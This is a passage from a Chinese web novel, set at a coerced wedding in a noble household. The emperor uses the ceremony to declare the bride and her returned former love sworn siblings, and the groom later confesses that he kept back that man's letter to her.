指尖掐入掌心,带来清晰的痛感。 他要的就是她回来。用任何方式,不惜任何代价。 至于胸口那抹诡异的空洞和刺痛......他强行忽略。那一定是错觉,是胜利来临前不必要的杂音。 他得到她了。再次,且永远。 这就够了。 他转身,走向门口,吩咐门外候着的侍卫:“准备车马,明日一早启程回京。相关涉案人等,暂不羁押,待本官回京后再行定夺。” “是!” 门被关上,隔绝了最后的天光。 姜于归顺着墙壁滑坐在地,将脸深深埋入膝间,肩膀无声地耸动。没有嚎啕,只有压抑到极致的,绝望的哽咽。 她回来了。 110. 第 110 章 用她偷来的一年自由,和余生全部的可能性,换取了那些对她怀有善意之人,片刻的,悬于刀下的平安。 而容璟站在门外廊下,听着里面那细碎破碎的声响,袖中的手,缓缓握成了拳,指甲深深陷进肉里,留下几个月牙形的血痕。 疼吗? 疼就对了。 这疼提醒他,他抓住了。再也不会放开。 无论用什么方式。 盛京的初冬,总是来得猝不及防。 昨日尚有稀薄阳光,一夜北风过后,檐角便挂了细密的冰凌,在晨光下闪着冷硬的光。 荣国公府却仿佛感受不到这份寒意。 自三日前,府中便进入了另一种紧绷的忙碌。 不是冥婚时的死寂诡异,而是一种更近似寻常大户办喜事的喧嚣,只是这份喧嚣里,总透着一股刻意为之的顺畅,仿佛所有环节都被一只无形的手精准推动,不容丝毫差错。 正堂重新布置过了。冥婚时的牌位与空嫁衣早已撤去,换上崭新的红绸,鎏金的双喜字,空气中弥漫着清冽的梅香,试图掩盖更深处的某种气息。 容璟没有让姜于归从顾府出嫁。 “路途颠簸,你身子需静养。” 他这样对她解释,语气平淡得像在吩咐一件无关紧要的小事:“便在府中等候即可。一应礼仪,不会少你分毫。” 姜于归坐在重新布置过的汀兰水榭内,身上是昨夜送来的嫁衣。 依旧是正红色,纹样却与上次那件不同,更显庄重繁复。 几个面生的嬷嬷围着她,梳头,上妆,动作麻利却沉默。 姜于归像个精致的偶人,任由摆布。 铜镜里映出的面容,薄施粉黛,唇点朱红,美得惊心,却也空洞得骇人。 唯有那双眼睛,在听到外间隐约乐声时,会几不可察地颤一下,随即又归于一片死寂的麻木。 逃不动了,也......不想再逃了。 那日在临河镇县衙后厢,容璟用那些具体而微的惨烈未来,将她最后一点挣扎的骨头彻底碾碎。 她可以为自己选择的路去死,但不能拖着王婆子,书吏,禾苗一家......还有那些仅仅对她释放过一丝善意的人,一起坠入地狱。 用余生自由,换他们此刻平安。这笔交易,她别无选择。 可是......她为什么要死? 心底某个角落,依然会渗出细密的,冰冷的疼。像冻疮,在看似愈合的皮肤下,反复溃烂。 前院渐渐喧哗起来。宾客的寒暄,礼乐的奏响,隔着重重院落传来,模糊不清,却像无数细针,扎在她紧绷的神经上。 容修远是前一日被急诏从京郊大营召回的。 他踏入府门时,脸色比天色更沉。 短短一年,这个曾经威严的国公爷,鬓边白发又添了许多,眉宇间是挥之不去的倦怠与某种认命般的灰败。 他看过礼单,听过管家回禀流程,只问了一句:“郡主呢?” 管家躬身答:“郡主已回府,正在瑞霞院更衣。” 容修远几不可察地扯了下嘴角,那弧度里没有温度。 他这个妻子,当初冥婚时冷眼旁观,如今活人拜堂,倒肯回来撑场面了。 也罢,总归是......体面。 瑞霞院内,安宁郡主对镜理妆。她今日穿了身绛红色蹙金鸾鸟纹礼衣,华贵非常,衬得她面容愈发美艳凌厉。 贴身侍女小心翼翼的将一支九凤衔珠步摇插入她高绾的发髻,低声道:“郡主,前头说吉时快到了。” 安宁郡主嗯了一声,指尖拂过耳下垂着的耳珰,镜中那双凤眸里,流转着一丝复杂的情绪。 那场荒唐冥婚,虽让她看了场好戏,但事后在京中贵眷圈里,终究是落了下乘。 哪怕她再不屑那些虚名,也不能容忍旁人背后议论,她儿子是个娶牌位的疯子。 如今好歹......是个活人。 尽管这活人来历不明,疯过,逃过,死过,闹得满城风雨。 但至少,现在喜堂上拜天地的是个能喘气的。 至于内里如何?整个盛京关起门来的腌臜事,谁家没有? 她缓缓站起身,去演完这场慈母欣慰的戏。 寿安堂里,却是另一番光景。 老夫人是真的病了。 自冥婚后,她便彻底沉湎于佛前,每日诵经不止,形容迅速枯槁下去。 今日这样大的动静,她也只是闭目捻着佛珠,对前来请示的嬷嬷摆了摆手。 她声音嘶哑,气息微弱:“我老了,经不起喧闹。替我......替我向潜玉说声。愿他......如愿以偿。” 最后四个字,说得极其含糊,不知是祝福,还是叹息。 嬷嬷不敢多言,躬身退下。 走出寿安堂,被冷风一吹,才惊觉后背已湿了一片。 老夫人那灰败的眼神,不像看孙儿大喜,倒像......送葬。 吉时将至。 正堂内,宾客云集。 太子虽未亲至,但东宫属官送来的贺礼堆了半壁。 其余皇亲勋贵,文武官员,能来的几乎都来了。 经历了睿王之乱的大清洗,如今朝堂势力重新洗牌,容璟作为东宫肱骨,皇帝新宠,他的婚礼,自然成了最好的表态与观望之所。 气氛热闹而不失庄重,众人谈笑风生,只是那笑容底下,都藏着一份心照不宣的谨慎。 谁不知道这位新娘子“死”过一次?谁又不知道容世子为此闹出的那些惊世骇俗? 但皇帝默许,东宫力挺,他们除了恭贺,还能如何? 容璟一身大红喜服,金冠玉带,站在堂前迎客。 他面容清隽,眉眼间甚至带着一丝恰到好处的温润笑意。 只是若细看,便能发现那笑意未达眼底。 那双深邃的眸子,平静无波地扫过每一个上前道贺的人,偶尔望向内院方向时,会掠过一丝几不可察的,幽暗的锐光。 他在等。等仪式完成,等名分彻底落定,等姜于归再也无法挣脱。 就在这时,府门外忽然传来一阵不同寻常的骚动。紧接着,是门房有些变调的,拖长了的高声唱喏。 “圣——旨——到——!” 满堂喧哗为之一静。 众人齐齐望向门口,只见皇帝身边最得力的首领太监笑容满面地步入,手中捧着明黄卷轴。 容璟眸光微凝,旋即恢复平静,率先撩袍跪下:“臣,容璟接旨。” 满堂宾客随之跪倒一片。 太监展开圣旨,尖细的嗓音在寂静中格外清晰。 “奉天承运皇帝,诏曰:荣国公世子容璟,忠勤体国,功在社稷。今纳佳妇,缔结良缘,朕心甚慰。特赐玉如意一对,南海珍珠十斛,蜀锦百匹,以贺新婚。望尔夫妇和睦,琴瑟和鸣,永固邦本。钦此——” 容璟叩首,声音平稳:“臣,叩谢陛下隆恩!” 宾客们心中却是暗潮涌动。 皇帝亲下贺诏,这是何等殊荣!看来容璟圣眷,比想象中更隆。 太监宣旨完毕,又笑眯眯地补了一句:“陛下还有口谕,说世子与夫人佳偶天成,实乃美事。陛下在宫中,亦遥祝二位百年好合。” 容璟再次谢恩,起身接过圣旨,神色恭敬,无半分得意:“臣,感念陛下天恩。” 皇帝此举,他心知肚明。 既是恩宠,也是敲打。 朕看着呢。 一个深情的,有软肋的臣子,确实比无懈可击的孤臣更让人放心。 这把刀自己找了刀鞘,皇帝乐见其成。 只是......容璟眼底深处,掠过一丝冰冷的嘲讽。 刀鞘?只怕这鞘,迟早要和他这把刀,一起锈死,烂透。 插曲过后,气氛更加热烈。吉时已到,喜乐高奏。 “新娘子到——!” 唱喏声中,姜于归被严嬷嬷和碧荷一左一右搀扶着,缓缓步入正堂。 大红盖头遮住了她的视线,也遮住了她苍白如纸的脸。 她能感受到无数道目光落在身上,好奇的,探究的,讥诮的......如同无数细密的针,扎透厚重的锦缎,刺在她早已千疮百孔的灵魂上。 脚步虚浮,每迈一步都像踩在刀尖上。 嫁衣沉重,凤冠压得脖颈生疼。耳边是喧天的喜乐和嗡嗡的人语,混杂在一起,形成一种令人眩晕的轰鸣。 她死死咬住下唇,用疼痛维持清醒。 透过盖头下方极窄的缝隙,她能看到前方不远处,那双穿着大红绸靴的脚。 那是容璟。他就站在那里,等着她走过去,完成这场名为婚姻的献祭。 喜娘高声说着吉祥话,将系着红绸的花球一端塞到她冰凉僵硬的手中,另一端递向容璟。 就在容璟的手即将触到花球的刹那。府门外,再度传来一阵急促的马蹄声,以及门房更高,更尖锐,甚至带着慌乱惊愕的唱喏。 “慕——容——琛——将军到——!” “慕容将军奉旨回京,特来恭贺世子大婚——!” 慕容二字,如同两颗投入滚油的冰水,又像两道撕裂天幕的惊雷,猝然炸响在原本喜庆喧腾的正堂! 时间仿佛在这一刻被无形的手狠狠攥住,骤然停滞! 满堂宾客,无论是谈笑的,举杯的,还是窃窃私语的,全都僵住了。 无数道目光齐刷刷地,带着难以置信的惊骇,射向门口! 慕容琛?! 那个三年前因贪赃被下旨处决,早已死去的户部给事中,慕容家的公子,容世子曾经的至交好友?! 他怎么......还活着?! 还成了......将军?! 奉旨回京?!! 死一般的寂静。连喜乐都不知何时停了,乐师们拿着乐器,呆若木鸡。 不过寂静之后就是宾客低声交头接耳的议论,说什么是听说边境夺薛老将军权的是为姓穆的年轻人,莫非就是慕容琛之类的。 而容璟伸向花球的手,几不可察地,极其细微地顿了一下。 只有离得最近的喜娘,似乎感觉到世子周身的气息,在那一瞬间骤然降至冰点,又迅速被他强行压制下去。 而盖头下的姜于归,在听到慕容两个字的瞬间,如同被最毒的蛇吻了一口,整个人剧烈地一颤! 血液轰然冲上头顶,又在下一秒冻结成冰! 慕容......琛? 慕容......林晏?! 他没死?! 他还活着?! 回来了?! 巨大的震惊,难以置信,以及一种被残酷命运再次狠狠戏弄的荒谬感,如同海啸般瞬间淹没了她! 心脏在胸腔里疯狂擂动,几乎要炸开! 她猛地就想抬手掀开盖头,去看!去确认! 然而,另一只手比她更快,更稳,也更狠。 容璟的手,在众人尚未完全从震惊中回神的电光石火间,已经牢牢扣住了她攥着花球的那只手腕! 力道之大,捏得她腕骨生疼,仿佛要碎裂! 他借着调整花球位置的姿势,微微倾身,用只有两人能听见的,冰冷得淬毒的声音,在她耳边极快极低地吐出几个字。 “盖头若掀,禾苗等人流刑,今日启程。” 与此同时,他的另一只手,稳稳地,不容置疑地,接过了花球的另一端。 红绸绷直,将两人看似紧密地联系在了一起。 姜于归所有的动作,所有的冲动,都在那一瞬间,被这句轻飘飘的话,钉死在了原地。 她僵在那里,浑身冰冷,连颤抖都忘了。 只有被容璟紧扣的手腕,传来清晰刺骨的痛,和......无边的绝望。 而门口,一道挺拔的身影,已大步踏入正堂。 来人一身玄色暗纹劲装,外罩墨色大氅,风尘仆仆,却难掩其清朗俊逸的面容和久经沙场淬炼出的沉稳气度。 正是慕容琛——如今该称慕容将军。 他的目光先是快速扫过满堂惊愕的宾客,掠过主位上神色复杂的容修远和面色平静的安宁郡主,最后,落在了堂中央那对身着大红喜服的新人身上。 他的眼神,在接触到容璟的瞬间,流露出真挚的,历经生死后的感慨与喜悦。 慕容林晏大步上前,抱拳笑道:“潜玉兄!许久未见,没想到归来便赶上你大喜!恭喜恭喜!” 他的笑容爽朗,声音洪亮,仿佛真的只是远归的故友,前来道贺。 只有微微泛红的眼眶,泄露了此刻内心的激荡。 活着回来了,挚友成婚,双喜临门。 容璟已迅速调整好面部表情,松开了扣着姜于归的手,同样抱拳回礼,笑容温润无懈可击:“林晏!你能安然归来,才是天大的喜事!快,上座!” 他语气里的欣喜如此自然,慕容琛笑着摆手,目光自然而然地转向容璟身边,盖着大红盖头的新娘,语气真诚:“这位便是嫂夫人了吧?潜玉兄好福气。在下慕容琛,与潜玉乃是至交,今日特来讨杯喜酒,祝二位永结同心,白首不离。” 他说着祝福的话,眼神清澈,带着对好友新婚的纯粹欣慰。 他还不知道盖头下是谁,皇帝急召他回京,只道容璟大婚,让他务必前来恭贺,以示天家对功臣的恩宠与对慕容家平反的重视。 慕容林晏一路疾驰,心中虽有对姜于归的牵挂与遗憾,却也真心为容璟高兴。 盖头下的姜于归,在听到林晏那熟悉又陌生,带着沙场磨砺后更显沉稳的声音,听到他真诚的祝福时,只觉得眼前阵阵发黑,喉咙被无形的巨手死死扼住,几乎窒息! 是他!真的是他!他没死!他还活着!就在眼前!在对她说话!祝她......和容璟永结同心! 巨大的荒谬感和撕裂般的痛苦,让她几乎站立不稳,全靠身旁嬷嬷死死架住,才没有软倒。 而就在这时,又一道清朗含笑的声音,从堂外传来。 “看来朕来得正是时候,赶上一段佳话重逢。” 众人悚然一惊,慌忙回头,只见皇帝竟一身常服,在几名便装侍卫的簇拥下,缓步走了进来! 他面上带着温和的笑意,目光扫过堂内众人,尤其在容璟,慕容琛以及那红盖头新娘身上停留了一瞬。 “陛下!”所有人慌忙跪倒。 “都平身吧。今日是潜玉的好日子,不必多礼。” 皇帝抬手虚扶,走到主位坐下,笑吟吟地看着眼前一幕。 “林晏刚回京,便来贺好友新婚,这份情谊,难得。潜玉,你可得好好敬林晏一杯。” 他语气随意,仿佛只是偶然兴起,前来沾沾喜气。 但那双看似温和的眼眸深处,却藏着不易察觉的,冷静的审视与算计。 容璟垂眸,他袖子下的手,却已悄然握紧:“陛下亲临,臣惶恐。林晏归来,臣喜不自胜,自当痛饮。” 皇帝点点头,又看向慕容琛,语气越发亲切:“林晏,你在北境辛苦了。薛家旧部能顺利接管,边关能稳,你居功至伟。如今归来,正好赶上潜玉大喜。你看,潜玉娶的这位新妇,可是旧识?” 他仿佛只是随口一提,带着长辈关心晚辈姻缘的慈和。 慕容琛忙躬身:“回陛下,臣离京日久,尚未有幸得见嫂夫人真容。” 他心中虽因皇帝提及旧识而微微一动,但并未深想。 皇帝却呵呵笑了起来,目光转向那红盖头,声音清晰地,一字一顿地,传遍死寂的喜堂。 “说起来,潜玉这位新妇,与林晏你,倒真有些缘分。她姓姜,名于归。正是当年你蒙冤入狱时,常替你去看望慕容家二老的姜姑娘。朕记得,姜氏心善,当时在京中并无亲友,却能对落难故友的祖父母这般照拂,实属难得。想来......你们是结拜的异姓兄妹?她为你尽孝,你也视她如亲妹,这份情谊,当真是君子之交,令人动容。” 皇帝顿了顿,笑意更深,环视众人,语气仿佛只是欣慰于一段佳话。 “今日你作为兄长,前来贺妹妹出嫁,又是故友成婚,真可谓是双喜临门,亲上加亲。如此佳话,岂不美哉?” 话音落下。 正堂内陷入一片诡异的死寂。 这一次的寂静,比方才更加深沉,更加粘稠,仿佛空气都被冻住了。 所有宾客脸上的表情都凝固了,震惊,茫然,难以置信,混杂着一种窥破惊天秘密却又不敢置信的悚然。 皇帝这话......是什么意思? 将堂堂荣国公世子妃,与刚刚凯旋归来的慕容将军,轻描淡写地定义为结拜的异姓兄妹?还妹妹为兄长尽孝,兄长贺妹妹出嫁?甚至用君子之交,亲上加亲这样的词? 这......这简直是将一场可能涉及旧情,三角,乃至夺爱的隐秘纠葛,彻底洗白成了一桩光明磊落,感人至深的义举佳话! 可谁不知道,当初慕容琛入狱,这位姜姑娘奔走探望,甚至因此惹上永嘉公主,被当街强掳,闹得满城风雨? 那是一个妹妹对兄长该有的关切程度吗?那是一个君子之交能解释的吗? 皇帝这是......真不知情,还是......刻意为之? 无数道目光,惊疑不定地在皇帝温煦的笑容,容璟平静无波的侧脸,慕容琛骤然苍白的脸色,以及那纹丝不动的红盖头之间,来回逡巡。 盖头下的姜于归,在听到皇帝那番结拜兄妹,君子之交的论调时,浑身猛地一震! 荒谬!极致的荒谬感如同冰冷的潮水,瞬间淹没了她! 将她与林晏之间那些真挚的,刻骨的情感,那些共同度过的岁月,那些绝望中的相互扶持,轻飘飘地归结为义举? 将林晏此刻可能的震惊与痛苦,定义为兄长对妹妹出嫁的欣慰? 皇帝他......怎么敢?怎么能?! 她几乎要控制不住地冷笑出声,身体因为极致的愤怒和荒谬感而微微发抖。 然而,腰间那只手臂,却如同铁箍般骤然收紧! 容璟的手指,隔着厚重的嫁衣,狠狠掐进她的皮肉,带来尖锐的刺痛和无声的,冰冷的警告——不许动,不许出声。 与此同时,慕容琛手中那杯原本稳当的酒,在皇帝话音落下的瞬间,几不可察地晃了一下,杯沿险些磕到牙齿。 他脸上的血色,在刹那间褪得干干净净,只剩下一种被强行涂抹上某种滑稽油彩般的苍白与僵硬。 皇帝的话,像一把包裹着柔软丝绸的钝刀,以一种最冠冕堂皇,最无可指摘的方式,狠狠捅进了他最深的伤口,然后还温柔地替他擦拭血迹,告诉他:看,这只是兄妹情谊,多美好。 他张了张嘴,想说什么,喉咙却像被滚烫的沙砾堵住,干涩得发不出任何声音。 姜于归? 她怎么会在这里?! 嫁给......潜玉?! 一个更尖锐,更冰冷的认知,如同第二把钝刀,紧随其后,狠狠劈开了他本就混乱的思绪! 当初容璟跟他说,姜于归变了心,暗中带他离开天牢,亲眼乘船看见了姜于归身处一座华丽的画舫弹琵琶,容璟告诉他,姜于归攀附了新的依靠,让他不必再等。 他虽心痛难当,却也只能接受这事实。 可林晏还是不死心,实行容璟提议的假死计划,离京之前,再次请容璟帮忙,将一封写满未尽之言,托容璟转交的书信托付出去。 后来北境消息断绝,与容璟通信也只谈公务,他再未听到于归的音讯,只当那段缘分真的随风散了,只余心底一点不敢触碰的遗憾。 他从未想过......从未想过会在此情此景,听到她的名字! 更从未想过,她要嫁的人,竟是容璟!他视若手足,托付书信的......挚友?! 容璟知道吗? 他当然知道!新娘是谁,他怎会不知?! 那封信呢? 他给了吗?还是...... 一个更可怕的猜想,如同毒蛇,倏然钻入心脏,带来一阵窒息般的绞痛。 他张了张嘴,想说什么,喉咙却像被滚烫的沙砾堵住,干涩得发不出任何声音。 那瞬间汹涌而上的,不仅仅是皇帝强加兄妹名分的荒谬与刺痛,更是被至交好友可能背叛,被隐瞒,被夺走所爱的惊怒与彻骨冰寒! 林晏能反驳吗? 反驳皇帝金口玉言的佳话?反驳这被强行赋予的兄长身份?说他与姜于归并非兄妹,而是...... 在皇帝温和却带着无形威压的目光注视下,在满堂宾客屏息的凝视中,在容璟那看似平静实则冰冷锐利的视线里,他所有冲到嘴边的话,都被硬生生堵了回去。 他猛地意识到,皇帝此举,是何等的毒辣高明。 不仅彻底断绝了他与姜于归之间任何可能的未来,更将他置于一个极其尴尬的境地。 承认,便是认下了这荒谬的兄妹名分,亲手埋葬自己的感情,不承认,便是当众驳斥圣意,藐视君上,更是坐实了与兄弟之妻有私情的嫌疑,将三人乃至两个家族拖入更不堪的境地。 而容璟......慕容琛的目光转向好友。 容璟脸上依旧是那副温润得体的浅笑,仿佛对皇帝的定论欣然接受,甚至还带着一丝对妻子曾经善举的与有荣焉。 可慕容琛太了解容璟了。 那份平静之下,是怎样的暗潮汹涌,容璟......他知道吗?他参与了吗?还是......他也是被皇帝摆布的一颗棋? 一股寒意,从尾椎骨直窜上头顶。 最终,慕容琛只能极其艰难地,极其缓慢地,扯动了一下僵硬的嘴角,露出一个比哭还难看的,破碎的笑容。 他垂下眼帘,避开皇帝那看似慈和实则洞悉一切的目光,也避开容璟那深不见底的注视,更不敢去看那刺目的红盖头。 他听到自己的声音,嘶哑地,干巴巴地响起,每一个字都像生锈的齿轮在艰难转动。 “陛......陛下圣明......体察入微。臣......与姜......姜姑娘......确曾......结拜为异性兄妹。她......心善,于臣阖家落难之际......伸以援手,臣......感激不尽。” 他顿了顿,用了极大的力气,才继续吐出后面的字句,声音低得几乎听不见。 “今日......得见义妹......与潜玉......缔结良缘,臣......身为兄长......心......甚慰。谨祝......二位......白首齐眉......鸯......鸯蝶情深。” 说到最后几个字,声音已细若蚊蚋,几乎被重新仓促响起的喜乐淹没。 盖头下的姜于归,在听到林晏亲口承认结拜兄妹,说出身为兄长,心甚慰时,浑身剧烈地颤抖起来,若不是容璟死死揽着她,几乎要瘫软下去。 他认了......他竟然亲口认了......这荒谬的兄妹名分! 眼泪汹涌而出,瞬间浸湿了盖头内层,晕开了脸上的妆容。 不是悲伤,而是另一种更尖锐的,混合着荒谬,绝望与彻骨寒意的痛楚。 皇帝满意地点了点头,仿佛真的只是确认了一件美好的事情,笑容更加和煦:“好,好!果然是君子之风,佳话流传。林晏,你重情重义,不忘故人恩情,朕心甚慰。潜玉,你娶得如此贤淑重义的妻子,亦是福气。” 他举杯,再次对满堂宾客朗声道:“来,让我们共饮此杯,一贺新人佳偶天成,二贺林晏与义妹重逢,三贺我朝又多一段感人肺腑的义举佳话!” 宾客们如梦初醒,慌忙再次举杯附和,笑容更加僵硬,眼神更加闪烁。 谁都知道这杯酒喝下去是什么滋味,是替皇帝圆场的忐忑,是对这诡异局面的心惊,是对那红盖头下新妇和慕容将军此刻心情的微妙揣测与......一丝不易察觉的怜悯。 而容璟,自始至终,脸上都维持着那无懈可击的温润笑容。 他甚至微微侧头,对着怀中被自己牢牢禁锢,无声颤抖的姜于归,用只有两人能听见的声音,冰冷而清晰地耳语。 “听到了?陛下金口玉言,你们是兄妹。从今往后,他慕容琛,就是你名正言顺的义兄。而你,是我容璟明媒正娶,圣旨赐婚的妻子。这层关系,比任何海誓山盟,私定终身,都要牢固,都要......不可逾越。” 他顿了顿,感受着她越发剧烈的颤抖,嘴角的弧度加深,眼底却是一片冰封的黑暗。 “这,才是真正的断绝。姜于归,你和他,这辈子,永远只能是......兄妹。” 说完,他不再看她,揽着她,转身,面向香案。 “吉时已到,新人拜堂——” 喜娘几乎是尖着嗓子,用尽全身力气喊出了这一句。 接下来的仪式,在一片诡异的,被强行粉饰的喜庆氛围中,仓促而机械地进行。 一拜天地。 姜于归的额头,重重磕在冰冷的地面上。眼前阵阵发黑。 二拜高堂。 容修远僵硬地坐着,安宁郡主嘴角噙着一丝几不可察的,冰冷的玩味。 夫妻对拜。 姜于归被扶着弯下腰。盖头晃动,一滴滚烫的液体,终于不受控制地,悄无声息地,滴落在地面的金砖上,瞬间洇开一小团深色的湿痕,又迅速消失不见。 每一次弯腰,姜于归都感觉自己的灵魂被撕扯下一块。 礼成。 “送入洞房——!” 喜娘高亢的唱喏响起,带着一种劫后余生般的急促。 容璟再次打横抱起她,在皇帝满意的目光,宾客复杂的注视下,走向那个早已为他们准备好的,名为婚姻的,永恒的囚笼。 他的步伐很稳,手臂有力,仿佛怀中抱着的,是他最珍视的胜利品,而非一具即将彻底碎裂的灵魂。 身后的喧嚣,仿佛隔着一层厚重的玻璃,模糊而不真切。 只有皇帝那温和带笑的声音,似乎还在耳边隐约回响: “......义结金兰......君子之交......亲上加亲......” 字字句句,如同最精致的镣铐,将她与林晏之间最后一点真实的可能,彻底锁死,并盖上了帝王权威的烙印。 皇帝端起酒杯,轻轻抿了一口,温热的酒液滑入喉间,带来一丝虚假的暖意。他眼底深处,却是一片深不见底的,属于帝王的幽暗平静。 容璟这把刀,他用得确实顺手。 铲除薛家,打压睿王,稳固东宫,甚至平衡朝局......此子心思缜密,手段果决,更难得的是身上流着皇室的血,却又因那一丝旁支的疏远,绝无染指大位的可能。 相较于那些盘根错节,各有私心的勋贵重臣,皇帝自然更信重容璟几分。 但也仅仅只是相较于而已。 一个无嗣可争的孤臣,固然好用,可若这孤臣权势过盛,与军中新贵交往过密,甚至......情同手足呢? 慕容琛,不,现在该叫慕容将军了。 北境一场血腥洗牌,薛家旧部尽数瓦解,兵权顺利交接,此子能力,心性,皆属上乘。 更关键的是,他年轻,有战功,在边军中有威信,且刚刚被自己施恩平反,正是该忠心耿耿的时候。 这样的两个人,若是联起手来,一在内掌控刑狱京畿,一在外执掌边军悍卒......皇帝握着酒杯的手指,几不可察地紧了紧。 他睡得着觉吗? 自然不能。 所以,义结金兰多好。金兰之谊,听着亲近,实则是划下了一道君君臣臣,兄兄妹妹的天堑。 容璟得了贤妻,慕容琛全了义名,而自己......则在他们之间,埋下了一根或许暂时不会发作,但必然随着时间流逝,随着权力滋长而逐渐化脓的刺。 这根刺,叫猜忌,叫隔阂,叫求而不得,也叫君恩难测。 今日是兄长忍痛祝福义妹,来日呢?当容璟权柄更重,当慕容琛功高震主,当那红盖头下的女子成为某种心照不宣的禁忌与隐痛时......这根刺,便会成为最好的离间利器。 皇帝放下酒杯,目光再次扫过那对新人消失的方向,又掠过堂下强自镇定,面色苍白的慕容琛,唇角几不可察地弯了一下。 好戏,才刚刚开场。 而这局中每一个人,都已是棋子,在名为权力与掌控的棋盘上,身不由己,越陷越深。 他这位执棋者,要做的,只是确保棋子们,永远按照他设定的轨迹,相互制衡,永无联手反噬的可能。 好戏,才刚刚开场。 而这局中每一个人,都已是棋子,在名为权力与掌控的棋盘上,身不由己,越陷越深。 红烛高烧,映得洞房内一片暖融的晕红,却驱不散那股从骨缝里渗出来的寒意。 而这一夜,以及往后无尽的岁月里,那兄妹二字,将成为横亘在三人之间,永远无法逾越的,带着圣旨光辉的,最残酷的枷锁。 姜于归被安置在铺着百子千孙被的床榻边,依旧盖着盖头,像一尊没有生命的玉雕。 容璟挥退了所有喜娘丫鬟。门被轻轻带上,隔绝了外间隐约的喧嚣。 屋内只剩下他们两人,以及烛火燃烧的细微噼啪声。 他走到她面前,停下。没有立刻去掀盖头,只是静静地站着,目光沉凝地落在那片刺目的红色上。 良久,他才伸出手,指尖触到盖头边缘的流苏,微微一顿。 然后,缓缓地,将它掀了起来。 盖头滑落,露出下面那张妆容精致,却苍白得没有一丝血色的脸。 她的眼睛睁得很大,空洞地望着前方某处,没有焦距,也没有泪,只有一片死寂的灰败。唇上那点朱红,此刻显得格外突兀,像抹在尸体上的胭脂。 容璟的指尖,轻轻拂过她冰凉的脸颊,触感细腻,却冷得惊人。 “看到了?” 他开口,声音不高,在寂静的室内却异常清晰,带着一种冰冷的,近乎残酷的平静。 “他没死。活得好好的,还成了将军,风光回京。” 姜于归的眼珠极慢地转动了一下,视线终于聚焦在他脸上。那里面没有恨,没有怒,只有一种深不见底的疲惫,和一丝......近乎怜悯的嘲讽? 她开口,声音嘶哑得不成样子,不是疑问,是陈述:“你早就知道。” “是。” 容璟坦然承认,指尖下滑,扣住她的下巴,迫使她仰头看着自己:“还记得你成为我侍妾不久之后,我出京办事,你接到李明月请帖的事吗?” 姜于归陷入回忆,她当然记得,她本想回绝永嘉公主的邀请,可是没有正当理由,于是去了,而后在宴席上呗为难,然后容璟来了,当时他还受了伤。 “我当时出京,就是避免他被发现,所以去送他。回程遭遇刺杀。慕容林晏假死之计,是我向陛下提议的。我不是说过吗,总有一天你会知道,你究竟该谢我还是恨我!” 容璟每说一句,姜于归的身体就细微地颤抖一下,眼中的死寂渐渐被一种尖锐的刺痛取代。 说带此处,容璟似乎还觉得不够,或者说终于可以把曾经隐藏的一切脱口而出。 “哦——对了,他离开前,还托我给你一封信。” 他语气平淡,甚至带着一丝刻意的轻描淡写,仿佛在说一件无关紧要的旧物。 “信?” 姜于归猛地抬起头,瞳孔骤缩,声音因为急切而微微拔高。 “什么信?在哪里?为什么不告诉我?” 容璟看着她眼中瞬间燃起又迅速被强行压下的,属于过去的光芒,心底那丝扭曲的快意与更深的刺痛交织翻涌。 “告诉你?” 容璟低笑一声,那笑意未达眼底,反而让他整张脸透出一股寒气。 “告诉你,然后呢?让你继续心心念念等着他?让你觉得还有退路?让你在对我虚与委蛇的时候,心里还装着另一个男人的影子?” 容璟微微扯了扯嘴角,目光投向虚空某处,仿佛在回忆。 他慢条斯理地说着,每一个字都像在凌迟她的期待。 “那封信,他让我务必亲手交给你,说里面......写了很多话。” 姜于归的呼吸窒住了,指尖无意识地拽紧了衣袖。 她声音发颤:“然后呢?信......在哪里?” “在哪里?” 容璟重复了一遍,终于将视线落回她脸上,那双深邃的眼眸里,此刻翻涌着一种复杂难言的情绪,有冷酷,有偏执,还有一丝......近乎宿命般的嘲弄。 他顿了顿,目光若有似无地扫过自己左侧腹部的旧伤位置:“回程路上,我们遇到了埋伏。就在那次刺杀里——我受了伤,血流得不少。那封信......就放在贴近心口的内袋里。” 容璟的声音变得有些飘忽,带着一种奇异的,近乎残忍的平静。 “血浸透了外袍,也浸透了那封信。等我勉强脱险,找个地方处理伤口时才发现......信纸几乎被血泡烂了,墨迹全糊了,粘连在一起,根本......什么也看不清了。” 容璟说到这里,忽然极轻的,古怪地笑了一声。 “你说,这是不是天意?” 他看着姜于归骤然失色的脸,看着她眼中那点刚刚燃起的微弱火光被这番话彻底浇灭,取而代之的是更深的茫然与绝望,心中那片冰原仿佛被一种既痛又快的感觉反复冲刷。 “不过我本来就没打算把它给你。” 容璟坦然承认,语气冰冷而笃定:“可连老天爷都帮我把这不该存在的东西毁掉了。血染的信,模糊的字......姜于归,你看到了吗?连上天都在告诉我,也在告诉你——” 他倾身逼近,气息拂在她苍白冰冷的脸上,一字一顿,如同最恶毒的诅咒。 “你和他之间,注定不该有联系。那封信,那些话,那些所谓的未尽之言......从一开始,就不该存在,也不配存在。所以,不是我骗你。” 容璟的声音压得更低,带着一种扭曲的,近乎虔诚的笃信:“是命运亲自斩断了你们之间的线。他‘死’了,信‘毁’了,你痛苦了,绝望了,然后......抓住了我。你看,这一切,多么顺理成章。连血迹,都成了最好的见证和......湮灭的证据。” 姜于归怔怔地看着他,看着他眼中那混合着疯狂,偏执与某种诡异天命所归般的神色,听着他将一场卑劣的隐瞒与欺骗,粉饰成天意与命运的裁决...... 一股难以言喻的寒意,混合着极致的荒谬感,从心底最深处弥漫开来,瞬间冻结了她所有的血液和思维。 原来......不只是欺骗。 连那唯一可能承载着林晏最后心声的物件,都被他以这样一种......近乎被神化的方式,合理地抹去了存在。 血染的信。 模糊的字。 天意。 每一个词,都像淬了毒的冰锥,将她最后一点关于过去的,温暖的念想,也彻底凿碎,碾入尘埃。 她看着容璟,忽然觉得眼前这个男人,陌生得可怕。 不仅仅是疯狂,不仅仅是偏执......更是一种将自我意志强行与所谓天意绑定的,令人毛骨悚然的扭曲。 容璟将她瞬间空茫死寂的眼神尽收眼底。 他知道,这番话的杀伤力,远比单纯的我隐瞒了信要大得多。 从今往后,每当她想起林晏,想起那封不存在的信,伴随而来的,将是血染,天意这些冰冷而宿命的词汇,以及他容璟今日这番近乎宣告神谕般的断言。 这才是真正的,彻底的断绝。 不留一丝缝隙,不存半分幻想。 他满意地看到,她眼中最后一点属于姜于归的鲜活光彩,终于彻底熄灭了,只剩下无边无际的,认命般的灰暗。 而他心口那处尖锐的痛,在这一刻,奇异地和那股扭曲的满足感交织在一起,分不清哪一种更真实,哪一种更灼人。 